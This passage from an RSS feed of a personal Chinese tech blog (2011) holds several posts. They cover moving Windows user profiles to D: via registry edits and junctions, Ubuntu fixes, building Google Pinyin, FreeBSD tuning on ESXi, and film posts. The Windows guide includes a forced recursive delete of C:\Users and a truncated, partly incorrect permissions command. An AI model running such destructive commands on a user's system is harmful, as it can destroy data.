class="number">500</span><span>]&nbsp;下的&nbsp;ProfileImagePath&nbsp;数据改为&nbsp;D:&#92;Users&#92;Administrator。</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>[HKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion&#92;Explorer&#92;Shell&nbsp;Folders]&nbsp;下有关C的<span>改为D</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>[HKEY_CURRENT_USER&#92;Software&#92;Microsoft&#92;Windows&#92;CurrentVersion&#92;Explorer&#92;Shell&nbsp;Folders]&nbsp;下的值看到数据中有&nbsp;C:&#92;Users&nbsp;的都改为&nbsp;D:&#92;Users。</span></li></ol></div><div contenteditable="false" class="python" style="display:none"><pre>[HKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Windows NT&#92;CurrentVersion&#92;ProfileList] 下的 Default、ProfilesDirectory、Public 三个值的数据改一下，把盘符都改为 D:。[HKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Windows NT&#92;CurrentVersion&#92;ProfileList&#92;S-1-5-21-3843801140-3458922274-3296897442-500] 下的 ProfileImagePath 数据改为 D:&#92;Users&#92;Administrator。[HKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion&#92;Explorer&#92;Shell Folders] 下的 &quot;Common Desktop&quot;、&quot;Common Documents&quot;、CommonMusic、CommonPictures、CommonVideo 五个值的数据把盘符都改为 D:。[HKEY_CURRENT_USER&#92;Software&#92;Microsoft&#92;Windows&#92;CurrentVersion&#92;Explorer&#92;Shell Folders] 下的值看到数据中有 C:&#92;Users 的都改为 D:&#92;Users。</pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p>9、复制文件</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>xcopy&nbsp;C:&#92;Users&nbsp;D:&#92;Users&#92;&nbsp;/E&nbsp;/H&nbsp;/K&nbsp;/X&nbsp;/Y&nbsp;/B&nbsp;/C</span></span></li></ol></div><div contenteditable="false" class="python" style="display:none"><pre>xcopy C:&#92;Users D:&#92;Users&#92; /E /H /K /X /Y /B /C</pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p>10、注销，重新登录，删除 &quot;D:&#92;Users&#92;Default User&quot; 目录</p><p>11、创建Junction并解决权限错误</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>mklink&nbsp;/J&nbsp;</span><span class="string">&quot;D:&#92;Users&#92;Default&nbsp;User&quot;</span><span>&nbsp;D:&#92;Users&#92;Default</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>cacls&nbsp;<span class="string">&quot;D:&#92;Users&#92;Default&nbsp;User&quot;</span><span>&nbsp;/S:</span><span class="string">&quot;D:PAI(D;;CC;;;WD)(A;;0x1200a9;;;WD)(A;;FA;;;SY)(A;;FA;;;BA</span></span></li></ol></div></div><p>12、删除 C:&#92;Users 目录，创建Junction</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>rm&nbsp;/s&nbsp;/q&nbsp;C:&#92;Users</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>mklink&nbsp;/J&nbsp;C:&#92;Users&nbsp;D:&#92;Users</span></li></ol></div><div contenteditable="false" class="python" style="display:none"><pre>rm /s /q C:&#92;Usersmklink /J C:&#92;Users D:&#92;Users</pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p>　　这样做完之后&nbsp;Windows系统盘不再随着安装软件以及使用时间而日益臃肿.</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Win2k3_log">老服务器的若干问题</a></p><p><a href="http://www.holmesian.org/windows-usb-patch">微软官方USB性能提升补丁</a></p><p><a href="http://www.holmesian.org/post/449">Windows溢出MS08066-08067-08052</a></p><p><a href="http://www.holmesian.org/WindowsM">E6安装Windows Mobile系统的可行性分析</a></p><p><a href="http://www.holmesian.org/usb-unknown-device">U盘不能识别问题</a></p><p><a href="http://www.holmesian.org/XP-boot-up">减少你的Windows系统启动时间</a></p></div>]]></description>
	<pubDate>Tue, 17 May 2011 08:39:45 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Windows-cut-down</guid>

</item>
<item>
	<title> AutoCAD中删除依赖外部参照等顽固图层的方法</title>
	<link>http://www.holmesian.org/AutoCAD-clean</link>
	<description><![CDATA[<p>#Autocad#中删除依赖外部参照等顽固图层的方法：在确定文件中没有跟外部参照块联系的层之后，使用指令&ldquo;PU&rdquo;来清理CAD图中未使用的垃圾内容。</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/AutoCAD_shx">解决AutoCAD打开dwg图提示未找到字体问题</a></p><p><a href="http://www.holmesian.org/erra">AutoCAD新手常犯的十二个错误</a></p><p><a href="http://www.holmesian.org/CADzc">CAD轴测图的绘制方法</a></p></div>]]></description>
	<pubDate>Tue, 17 May 2011 08:09:56 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/AutoCAD-clean</guid>

</item>
<item>
	<title>[名侦探柯南真人版3_怪鸟传说之谜2011][720P高清]</title>
	<link>http://www.holmesian.org/Conan_2011</link>
	<description><![CDATA[<p>这个……&nbsp;&nbsp;不得不说已经成为一种习惯：只要柯南没有终结就一直看下去……</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p></p>
<div style="clip:rect(auto auto auto auto);z-index:999;position:absolute;top:337px;left:255px;" id="aimg_15527_menu" class="t_attach" w="142" initialized="true" ctrlkey="aimg_15527" h="42"><a title="1.jpg" target="_blank" href="http://g1688.5d6d.com/attachment.php?aid=15527&amp;k=06ebaca385cbbabb651e1862cae0c2e2&amp;t=1305279450&amp;nothumb=yes"><strong>下载</strong></a> (79.87 KB)</div>
<div style="clip:rect(auto auto auto auto);z-index:999;position:absolute;top:337px;left:255px;" id="aimg_15527_menu" class="t_attach" w="142" initialized="true" ctrlkey="aimg_15527" h="42"><div class="t_smallfont"><span title="2011-5-11 07:51">前天 07:51</span></div>
</div>
<p>&nbsp;</p>
<p><br />
<span style="position:absolute;display:none;" id="attach_15528"><img border="0" alt="" src="http://images.5d6d.net/dz7/templates/default/attachimg.gif" /></span> <img id="aimg_15527" class=" hover" alt="1.jpg" width="600" w="600" file="http://qq.a.5d6d.com/userdirs/2/7/g1688/attachments/month_1105/1105110751a9b7064337518bae.jpg" status="2" initialized="true" unselectable="true" outfunc="null" x="255" y="379" h="338" src="http://qq.a.5d6d.com/userdirs/2/7/g1688/attachments/month_1105/1105110751a9b7064337518bae.jpg" /><img id="aimg_15528" alt="2.jpg" width="600" w="600" file="http://qq.a.5d6d.com/userdirs/2/7/g1688/attachments/month_1105/11051107519e5e0cc03924effb.jpg" status="2" initialized="true" unselectable="true" outfunc="null" x="255" y="716" h="338" src="http://qq.a.5d6d.com/userdirs/2/7/g1688/attachments/month_1105/11051107519e5e0cc03924effb.jpg" /></p>
<div style="clip:rect(auto auto auto auto);z-index:999;position:absolute;display:none;top:674px;left:255px;" id="aimg_15528_menu" class="t_attach" w="142" initialized="true" ctrlkey="aimg_15528" h="42"><a title="2.jpg" target="_blank" href="http://g1688.5d6d.com/attachment.php?aid=15528&amp;k=a711f9307eeb100b6fec0a7bcbf635d6&amp;t=1305279450&amp;nothumb=yes"><strong>下载</strong></a> (82.24 KB)<br />
<div class="t_smallfont"><span title="2011-5-11 07:51">前天 07:51</span></div>
</div>
<p><br />
<span style="position:absolute;display:none;" id="attach_15529"><img border="0" alt="" src="http://images.5d6d.net/dz7/templates/default/attachimg.gif" /></span> <img id="aimg_15529" alt="3.jpg" width="600" w="600" file="http://qq.a.5d6d.com/userdirs/2/7/g1688/attachments/month_1105/1105110751c8cbe305d5a68ff8.jpg" status="2" initialized="true" unselectable="true" outfunc="null" x="255" y="1054" h="338" src="http://qq.a.5d6d.com/userdirs/2/7/g1688/attachments/month_1105/1105110751c8cbe305d5a68ff8.jpg" /></p>
<div style="clip:rect(auto auto auto auto);z-index:999;position:absolute;display:none;top:1012px;left:255px;" id="aimg_15529_menu" class="t_attach" w="142" initialized="true" ctrlkey="aimg_15529" h="42"><a title="3.jpg" target="_blank" href="http://g1688.5d6d.com/attachment.php?aid=15529&amp;k=cd3ee300aff540aaf59f5a4e4366b6df&amp;t=1305279450&amp;nothumb=yes"><strong>下载</strong></a> (88.73 KB)<br />
<div class="t_smallfont"><span title="2011-5-11 07:51">前天 07:51</span></div>
</div>
<p><br />
<span style="position:absolute;display:none;" id="attach_15530"><img border="0" alt="" src="http://images.5d6d.net/dz7/templates/default/attachimg.gif" /></span> <img id="aimg_15530" alt="4.jpg" width="600" w="600" file="http://qq.a.5d6d.com/userdirs/2/7/g1688/attachments/month_1105/110511075143110cc51033a7a2.jpg" status="2" initialized="true" unselectable="true" outfunc="null" x="255" y="1391" h="338" src="http://qq.a.5d6d.com/userdirs/2/7/g1688/attachments/month_1105/110511075143110cc51033a7a2.jpg" /></p>
<div style="clip:rect(auto auto auto auto);z-index:999;position:absolute;display:none;top:1349px;left:255px;" id="aimg_15530_menu" class="t_attach" w="142" initialized="true" ctrlkey="aimg_15530" h="42"><a title="4.jpg" target="_blank" href="http://g1688.5d6d.com/attachment.php?aid=15530&amp;k=27d23956fcb06b3788062e6359d974e1&amp;t=1305279450&amp;nothumb=yes"><strong>下载</strong></a> (86.13 KB)<br />
<div class="t_smallfont"><span title="2011-5-11 07:51">前天 07:51</span></div>
</div>
<p><br />
<span style="position:absolute;display:none;" id="attach_15531"><img border="0" alt="" src="http://images.5d6d.net/dz7/templates/default/attachimg.gif" /></span> <img id="aimg_15531" alt="5.jpg" width="600" w="600" file="http://qq.a.5d6d.com/userdirs/2/7/g1688/attachments/month_1105/11051107518e22fffab1375e9f.jpg" status="2" initialized="true" unselectable="true" outfunc="null" x="255" y="1729" h="338" src="http://qq.a.5d6d.com/userdirs/2/7/g1688/attachments/month_1105/11051107518e22fffab1375e9f.jpg" /></p>
<div style="clip:rect(auto auto auto auto);z-index:999;position:absolute;display:none;top:1687px;left:255px;" id="aimg_15531_menu" class="t_attach" w="142" initialized="true" ctrlkey="aimg_15531" h="42"><a title="5.jpg" target="_blank" href="http://g1688.5d6d.com/attachment.php?aid=15531&amp;k=748371292222c4da55637aea67222478&amp;t=1305279450&amp;nothumb=yes"><strong>下载</strong></a> (90.86 KB)<br />
<div class="t_smallfont"><span title="2011-5-11 07:51">前天 07:51</span></div>
</div>
<p><br />
影片名称：名侦探柯南真人版3_给工藤新一的挑战书～怪鸟传说之谜<br />
影片大小：1.7GB<br />
影片格式：MKV<br />
分辨率&nbsp;&nbsp;&nbsp;&nbsp;：1280X720<br />
影片时间：01:35:29<br />
首播时间：2011年04月15日 <br />
导演：白川士&nbsp;&nbsp;<br />
编剧：秦建日子 <br />
演员：沟端淳平 / 忽那夕里 / 大塚宁々 / 秋元才加 / 草刈正雄 / 伊武雅刀 /&nbsp;&nbsp;阵内孝则 / 鷲尾真知子 / 长谷川朝晴 / 渋谷飞鸟 / 山中崇 他 <br />
地区：日本 <br />
语言：中文&nbsp;&nbsp;<br />
别名：少年柯南,名侦探柯南真人版3 <br />
电视台：YTV <br />
集数：1&nbsp;&nbsp;<br />
<br />
简介<br />
<br />
为纪念动画《名侦探柯南》踏入十五周年，电视台决定把故事再拍成真人版剧集，起用人气男星沟端淳平扮演少年柯南工藤新一，女主角毛利兰就由忽那汐里饰演，两人造型已经曝光，新版安排在春季首播。<br />
<br />
故事发生在工藤新一变成江户川柯南前100天的时候，高中生侦探工藤新一和毛利兰一起前往山里的十五夜村。这个村里&nbsp;&nbsp;自古就有大鸟袭击村民 并将其变成饵食的传说，3天后 村里即将举行安抚大鸟神魂魄的祭祀活动。于是当园子的爸爸的朋友&nbsp;&nbsp;大富豪和仓勇海在百舌鸟翔神社里向大家介绍的时候，一起伪装成大鸟传说的杀人案件发生了。<br />
<br />
帮助研究大鸟传说的&nbsp;&nbsp;和仓的助手小坂被杀，村里的巫师土师登美声称这是诅咒报应。接下来和仓的次男凉二也以同样的手法被杀，工藤新一即将挑战流传在村里的大鸟传说之谜&nbsp;&nbsp;同时揭开这个连续杀人事件的真相！</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/49">一位老柯迷评价十部柯南剧场版</a></p><p><a href="http://www.holmesian.org/conan_mlxwl">毛利小五郎 离我们而去……</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-jingjifazhan">2011年考研政治大题预测-转变经济发展</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-duilitongyi">2011年考研政治大题预测-对立统一</a></p><p><a href="http://www.holmesian.org/CoansKwl">“毛利小五郎”观察报告</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-shijianrenshi">2011年考研政治大题预测-实践和认识</a></p></div>]]></description>
	<pubDate>Fri, 13 May 2011 09:41:43 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Conan_2011</guid>

</item>
<item>
	<title>“OAFIID:GNOME_FastUserSwitchApplet”问题</title>
	<link>http://www.holmesian.org/ubuntu-OAFIID-GNOME-FastUserSwitchApplet</link>
	<description><![CDATA[<p>&nbsp;新到的1015PEM装了Ubuntu 10.04 netbook版本，因为自己的“洁癖”直接将Ubuntu自带的诸如 gwibber、gwibber-service、Ubuntu-one什么的一大堆可能永远都用不上的软件和包删掉，结果重启之后都会有</p>
<div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>面板载入“OAFIID:GNOME_FastUserSwitchApplet”时遇到问题</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none;"><pre>面板载入“OAFIID:GNOME_FastUserSwitchApplet”时遇到问题</pre></div>
<div contenteditable="false"><link href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet"></div>
</div>
<p>的错误提示，并且在屏幕上方gnome-panel的关机按钮会消失，在出现错误的对话框中无论选择删除或者不删除相关的配置文件都没有效果，网上能够找到的内容像用gconftool工具重置所有gnome-panel的配置文件等方法都没有效果。这明显就是一个配置文件中的部分内容无法启动的提示，按道理来说重置了gnome-panel的所有配置之后应该一定要恢复正常，当时想可能netbook对gnome进行了部分的修改导致重置之后问题依旧吧。</p>
<p>&nbsp;</p>
<p>结果今天发现问题真正的症结所在：删除某些包的时候将fast-user-switch-applet也一块删除了，从什么版本开始fast-user-switch-applet已经被gdm和indicator-appet-session所包含，而indicator-appet-session与gwibber是有一定关联的，所以在删除gwibber相关内容的时候indicator-appet-session被一同删掉，相应的fast-user-switch-applet也被删除，这便是提示“OAFIID:GNOME_FastUserSwitchApplet”错误的原因。</p>
<p>&nbsp;</p>
<p>解决方法：重新安装gdm和indicator-appet-session，如果讨厌的gwibber又一同安装了的话再手工卸之</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/vista">Windows Vista图标左上角有个可以打勾的小框的作用</a></p><p><a href="http://www.holmesian.org/SDNSD">禁止别人用你电脑的方法</a></p><p><a href="http://www.holmesian.org/Vista-boot">解决Vista启动的时候卡死在滚动条问题</a></p><p><a href="http://www.holmesian.org/ubuntu-start-up">关注Ubuntu启动慢</a></p><p><a href="http://www.holmesian.org/Ubuntu_tcpdump">Ubuntu下的抓包工具tcpdump</a></p><p><a href="http://www.holmesian.org/ubuntu-aircrack">Ubuntu编译安装支持中文SSID的aircrack1.1</a></p></div>]]></description>
	<pubDate>Tue, 10 May 2011 10:30:18 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/ubuntu-OAFIID-GNOME-FastUserSwitchApplet</guid>

</item>
<item>
	<title>ubuntu安装google输入法</title>
	<link>http://www.holmesian.org/Ubuntu-google-pingyin</link>
	<description><![CDATA[<p>官方主页见<a href="http://code.google.com/p/libgooglepinyin/">http://code.google.com/p/libgooglepinyin/</a></p>
<p>&nbsp;</p>
<p><meta http-equiv="content-type" content="text/html; charset=utf-8"><span class="Apple-style-span" style="-webkit-border-horizontal-spacing:5px;-webkit-border-vertical-spacing:5px;"><span class="Apple-style-span" style="font-family:''Lucida Grande', 'Trebuchet MS', Helvetica, Arial, sans-serif';"><span class="Apple-style-span" style="line-height:16px;"><b>A. 获取代码：</b></span></span><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
</span></p>
<p></p>
<pre class="brush:shell; toolbar: true; auto-links: true;">$ hg clone http://code.google.com/p/libgooglepinyin/
$ hg clone http://code.google.com/p/libgooglepinyin.ibus-wrapper/ ibus-googlepinyin</pre><b><br />
<p></p>
<span class="Apple-style-span" style="font-family:'', 'Lucida Grande', ', ', ', ', 'Trebuchet MS', ', ', Helvetica, Arial, sans-serif, '';"><span class="Apple-style-span" style="line-height:16px;"><b><br />
</b></span></span> <span class="Apple-style-span" style="-webkit-border-horizontal-spacing:5px;-webkit-border-vertical-spacing:5px;"> <br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
<span class="Apple-style-span" style="font-family:'', 'Lucida Grande', ', ', 'Trebuchet MS', ', Helvetica, Arial, sans-serif';"><span class="Apple-style-span" style="line-height:16px;"><b> B. 编译前提：</b></span></span><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
<span class="Apple-style-span" style="font-family:''Lucida Grande', 'Trebuchet MS', Helvetica, Arial, sans-serif';"><span class="Apple-style-span" style="line-height:16px;"><b> 上面给的链接里面有介绍怎么编译的，有几个必需组件，这里列一下如何安装：</b></span></span><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
</span><p></p>
<pre class="brush:shell; toolbar: true; auto-links: true;">sudo apt-get install cmake build-essential opencc mercurial ibus</pre><b><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
</b> <span class="Apple-style-span" style="font-family:''Lucida Grande', 'Trebuchet MS', Helvetica, Arial, sans-serif';"><span class="Apple-style-span" style="line-height:16px;"><b><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
</b></span></span> <br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
<span class="Apple-style-span" style="font-family:''Lucida Grande', 'Trebuchet MS', Helvetica, Arial, sans-serif';"><span class="Apple-style-span" style="line-height:16px;"><b> C. 编译：</b></span></span><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
<pre class="brush:shell; toolbar: true; auto-links: true;">$ cd libgooglepinyin /cd ibus-googlepinyin
$ mkdir build; cd build
$ cmake .. -DCMAKE_INSTALL_PREFIX=/usr
$ make
$ sudo make install</pre><br />
<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
<span class="Apple-style-span" style="font-family:''Lucida Grande', ', ', 'Trebuchet MS', ', Helvetica, Arial, sans-serif'';"><span class="Apple-style-span" style="line-height:16px;"><b><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
</b></span></span> <br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
<span class="Apple-style-span" style="font-family:''Lucida Grande', 'Trebuchet MS', Helvetica, Arial, sans-serif';"><span class="Apple-style-span" style="line-height:16px;"><b> 现在重启ibus:</b></span></span><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
<b><span class="Apple-style-span" style="font-family:'arial, sans-serif';font-size:x-small;"><span class="Apple-style-span" style="line-height:normal;"><pre class="brush:shell; toolbar: true; auto-links: true;"> pkill -f ibus-daemon ; ibus-daemon -d -x</pre><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
</span></span></b> <br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;" />
<span class="Apple-style-span" style="font-family:''Lucida Grande', 'Trebuchet MS', Helvetica, Arial, sans-serif';"><span class="Apple-style-span" style="line-height:16px;"><b> 接下来去首选项里的“语言支持”的“输入法”选择google拼音作为默认输入法就OK了。</b></span></span><p></p>
</b><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/ubuntu-tips">Tips for Ubuntu</a></p><p><a href="http://www.holmesian.org/ubuntu-VirtualBox-upgrade">ubuntu升级后VirtualBox新问题</a></p><p><a href="http://www.holmesian.org/post/480">ubuntu的nessus工具</a></p><p><a href="http://www.holmesian.org/ubuntu-aircrack">Ubuntu编译安装支持中文SSID的aircrack1.1</a></p><p><a href="http://www.holmesian.org/Ubuntu_ipv6">Ubuntu9.04下关闭IPV6</a></p><p><a href="http://www.holmesian.org/post/440">Google面试题</a></p></div>]]></description>
	<pubDate>Sun, 08 May 2011 09:33:32 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Ubuntu-google-pingyin</guid>

</item>
<item>
	<title>《关云长》观后感</title>
	<link>http://www.holmesian.org/guanyunchang</link>
	<description><![CDATA[<p>&nbsp;<img alt="" src="http://www.holmesian.org/attachment/1304741774_13267207.jpg" /></p><p>故事是这样的。&nbsp;</p><p><br />汉献帝、曹操、关羽、许褚、张辽等人一起玩三国杀。&nbsp;<br />汉献帝是主公。&nbsp;<br />关羽一上来就装忠。&nbsp;<br />曹操离主公最近，还给主公上乐不思蜀，一副反贼相。&nbsp;<br />关羽对曹操说我牵你赤兔马，去帮你杀袁绍。&nbsp;<br />然后他就把孔秀杀了。&nbsp;<br />结果孔秀是忠臣。&nbsp;<br />关羽又把王植杀了。&nbsp;<br />王植也是忠臣。&nbsp;<br />汉献帝急了，说关羽就是个反贼都给我杀他谁不杀谁是反贼一伙。&nbsp;<br />许禇说：其实我才是忠臣，但是关羽有马我砍不到它。&nbsp;<br />张辽说：其实我也是忠臣，但是曹操刚才把我砍到就剩一滴血了。&nbsp;<br />汉献帝说曹操你为什么就是不肯杀关羽。&nbsp;<br />曹操说关羽其实是忠臣，就是有点二，人称二哥。杀了他以后天下谁还敢装忠臣？&nbsp;<br />汉献帝决定亲自来，万箭齐发。&nbsp;<br />曹操出闪，关羽出闪，所有人都出闪，就刘备他小老婆没闪。&nbsp;<br />刘备小老婆死了。&nbsp;<br />刘备小老婆是内奸。&nbsp;<br />关羽怒了，跳反。&nbsp;<br />曹操说：主公是杀不得地。不过我答应你，等你们都死光了我就干掉主公。&nbsp;<br />于是所有人都看明白了。&nbsp;<br />曹操&hellip;&hellip;其实&hellip;&hellip;就是个内奸。&nbsp;</p>]]></description>
	<pubDate>Sat, 07 May 2011 04:16:36 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/guanyunchang</guid>

</item>
<item>
	<title>FreeBSD在ESXi的虚拟环境下php-cgi性能极差</title>
	<link>http://www.holmesian.org/FreeBSD-ESXi-opt</link>
	<description><![CDATA[<p>五一的时候yycrazy本来准备对服务器上的应用进行一次分离操作，但是由于极差的网络性能铩羽而归。自从五一过后服务器一直处于极度不稳定状态：系统不定期并且毫无征兆的所有phpcgi进程突然卡死导致CPU负载飙升并导致全站所有动态内容访问很慢且最终全线奔溃。</p><p>一开始找了很多资料尝试了很多方法都没有明显的好转，因为没有任何一定的触发条件，并且所有等级的日志和监控都无法记录任何蛛丝马迹，所以一时很难做出准确判断。无意之中在网上看到有TX反应Discuz X 1.5在nginx+php-cgi环境下使用manyou应用的时候很容易导致php-cgi进程高负载运作大量消耗CPU资源，于是尝试将开启的Discuz X1.5的manyou应用关闭，发现问题有很大的缓解，本来以为已经解决了，但是第二天凌晨时再度出现毫无征兆的所有phpcgi进程突然卡死让我无奈地之后从更底层的角度去考录解决的办法。</p><p>经过漫长的排查与测试最终发现问题出在/boot/loader.conf中的设置上，一开始安装FreeBSD的时候顺手copy了之前的一份优化过的loader.conf配置的一部分，里面有一个参数 kern.ipc.nmbclusters=&quot;0&quot;&nbsp;&nbsp;，本来只是将nmbclusters设置成无限制，但是问题就出在只copy了一部分：因为kern.ipc.nmbclusters被设置成 0 的情況下，net.inet.tcp.reass.maxsegments 参数也跟着一同被设置成 0 了。net.inet.tcp.reass.maxsegments被设置成0之后在有大量 TCP out-of-order 封包的网络情况下，FreeBSD的性能将会变得极差而且整个系统会非常的脆弱，在出现问题的时候用netstat查看连接信息可以发现packets discarded due to memory problems的计数相当之多而 TCP out-of-order的计数永远为0。</p><p></p><p>解决方法：1、将net.inet.tcp.reass.maxsegments设置成默认值1600；2、设置 kern.ipc.nmbclusters为一个非0的数值，例如我将kern.ipc.nmbclusters=&quot;102400&quot;添加到了/boot/loader.conf文件中。</p><p>修改成功后重启FreeBSD8，至少目前没有再出现过一次系统毫无征兆的所有phpcgi进程突然卡死的情况了&hellip;&hellip;</p><p>&nbsp;</p><p>&nbsp;</p><p>在漫长的排查过程中又发现了一个有趣的情况：记得之前FreeBSD在ESXi下时间会跑慢的时候是通过向loader.conf文件添加了hint.apic.0.disabled=&quot;1&quot;以关闭中断和kern.hz=100调整刷新率来修正时间问题，这次尝试着将kern.hz调成10重启之后发现在ESXi中的FreeBSD8性能变得奇好&hellip;&hellip;不过问题是FreeBSD8中的时间大概是真实时间的2~4倍，最终将kern.hz调成了50时间不跑偏而且性能和响应速度相对于之前要好很多。看起来像kern.hz在多用户多进程的情况下调低更好，桌面系统单用户的情况下调高更好。</p><p>关于kern.hz在FB的论坛上有这么一段话供参考</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>这是一个已知的性能问题。虚拟机的中断是经过虚拟化软件来进行处理的，而不是直接的硬件中断；当&nbsp;guest&nbsp;OS&nbsp;定时器精度较高时，如&nbsp;</span><span class="number">1000</span><span>&nbsp;Hz&nbsp;（这是新版内核的默认情况，早期内核的精度是&nbsp;</span><span class="number">100</span><span>&nbsp;Hz&nbsp;甚至&nbsp;</span><span class="number">10</span><span>&nbsp;Hz），直接在硬件上运行操作系统通常是没有问题的，但虚拟机将花费较多的&nbsp;host&nbsp;CPU&nbsp;time&nbsp;来处理定时器对应的系统中断，因此用户会发现&nbsp;CPU&nbsp;占用变高，甚至在&ldquo;空闲&rdquo;时也能达到&nbsp;</span><span class="number">50</span><span>%&nbsp;~&nbsp;</span><span class="number">100</span><span>%；解决的办法是降低&nbsp;guest&nbsp;OS&nbsp;定时器的精度，以牺牲精度来换取性能。&nbsp;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li>&nbsp;</li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>如果您的&nbsp;host&nbsp;CPU&nbsp;支持硬件虚拟化技术（Intel&nbsp;VT&nbsp;或&nbsp;AMD-V），您还可以试着打开&nbsp;VirtualBox&nbsp;的&nbsp;hardware&nbsp;virtualization，这应该可以继续改善虚拟机的性能。</span></li></ol></div><div contenteditable="false" class="python" 